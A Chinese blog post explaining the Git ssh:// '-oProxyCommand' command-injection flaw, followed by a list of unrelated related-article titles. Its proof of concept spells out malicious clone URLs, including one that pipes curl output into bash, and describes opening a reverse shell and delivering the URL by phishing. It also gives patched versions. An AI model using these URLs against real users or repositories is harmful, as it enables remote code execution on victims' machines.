Git命令造成的反弹shell

漏洞描述:

  Git LFS可以.lfsconfig使用LFS由存储库中的文件配置(部分),并且可以将Git LFS指向ssh://。

[lfs]
url = ssh://-oProxyCommand= some-command

  当使用这样的.lfsconfig文件克隆存储库时,使用LFS插件的Git将尝试调用ssh以从主机获取LFS对象 -oProxyCommand=some-command。然而,SSH会将该主机名解释为一个-o选项,并随后尝试调用some-command以建立连接。

  这样的话,可以通过克隆存储库的Git LFS客户端的精心设计的存储库来执行任意命令。

  通过在新项目中导入存储库,ssh://可以在GitLab主机上执行URL服务器端代码执行。

利用方式:

  远程钓鱼,社工

  恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码。

漏洞证明:

  反弹计算器

git clone ssh://-oProxyCommand=gnome-calculator/wat

  进一步利用

  本机测试环境

  先建立监听

nc -vlp 

  利用git clone 获取镜像库

git clone ssh://-oProxyCommand='curl 127.0.0.1:9999 | bash'/xx

命令被成功执行

建立连接之后,尝试执行反弹shell命令,同时监听新的端口,完成反弹shell。

漏洞修复建议(或缓解措施):

Git:升级到Git v2.14.1版本

Apache Subversion:升级到Subversion 1.8.19、Subversion 1.9.7版本

Mercurial:升级到Mercurial 4.3 and 4.2.3.版本

参考文章:

https://help.aliyun.com/knowledge_detail/57887.html

http://bobao.360.cn/news/detail/4260.html?spm=5176.7757887.2.2.IkQv67

Git命令执行漏洞的更多相关文章

  1. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  2. HFS远程命令执行漏洞入侵抓鸡黑阔服务器

    先来科普一下: HFS是什么? hfs网络文件服务器 2.3是专为个人用户所设计的HTTP档案系统,如果您觉得架设FTP Server太麻烦,那么这个软件可以提供您更方便的网络文件传输系统,下载后无须 ...

  3. ASP代码审计 -4.命令执行漏洞总结

    命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip" ...

  4. Samba 4.x.x全版本存在命令执行漏洞

    Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ...

  5. 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

    手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...

  6. JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)

    本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程 仅供学习 文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-1214 ...

  7. Kali学习笔记30:身份认证与命令执行漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 实验环境: Kali机器:192.168.163.13 ...

  8. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  9. ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用

    ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用 ThinkPHP5.0.21&5.1.*  exploit code execution and command ...

随机推荐

  1. POJ 1236 Network of Schools (Tarjan)

    Network of Schools Time Limit: 1000MS   Memory Limit: 10000K Total Submissions: 22745   Accepted: 89 ...

  2. bzoj1027 状压dp

    https://www.lydsy.com/JudgeOnline/problem.php?id=1072 题意 给一个数字串s和正整数d, 统计s有多少种不同的排列能被d整除 试了一下发现暴力可过 ...

  3. 流畅的python--python数据模型

    python最好的品质之一就是一致性.初步接触python可能会len(collection)而不是collection.len()觉得不适应,这是通常所说的“python风格”(Pythonic)的 ...

  4. django中文学习资料

    Django 2.0 中文官方文档地址: https://docs.djangoproject.com/zh-hans/2.0/ <Django Girls>中文版地址: https:// ...

  5. ElasticSearch的API介绍

    ElasticSearch的API介绍 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.ES是基于Restful风格 1>ES是基于Restful风格 Elasticsea ...

  6. Java 语言特性

    介绍以下几种语言特性: Java5的特性 1.静态引用 2.可变参数 3.自动装箱和拆箱  包装类的缓存设计 4.枚举 一.静态引用(语法糖,不推荐使用,了解一下即可) 先看看普通的引用,就是impo ...

  7. C#设计模式(0)——设计原则

    设计原则 使用设计模式的根本原因是适应变化,提高代码复用率,使软件更具有可维护性和可扩展性.在进行设计的时候,我们需要遵循以下几个原则:单一职责原则.开闭原则.里氏替代原则.依赖倒置原则.接口隔离原则 ...

  8. angular,vue,react的基本语法—样式处理

    基本语法 样式处理: vue: 动态属性: v-bind:class 简写 :class react: 变量:class={selecter} angular: 指令:[ngClass]=" ...

  9. ARM寄存器介绍

    ARM处理器共有37个寄存器.其中包括:31个通用寄存器,包括程序计数器(PC)在内.这些寄存器都是32位寄存器.以及6个32位状态寄存器.但目前只使用了其中12位.ARM处理器共有7种不同的处理器模 ...

  10. Web项目发布BUG总结

    1.字符集乱码问题: 这是一个常遇见的问题,但总是解决不了,让人很头疼笔者最近就遇到了这个问题.首先确保你传入的数据是UTF-8格式的,如果你是用jsp+servlert写的话,你的servlert中 ...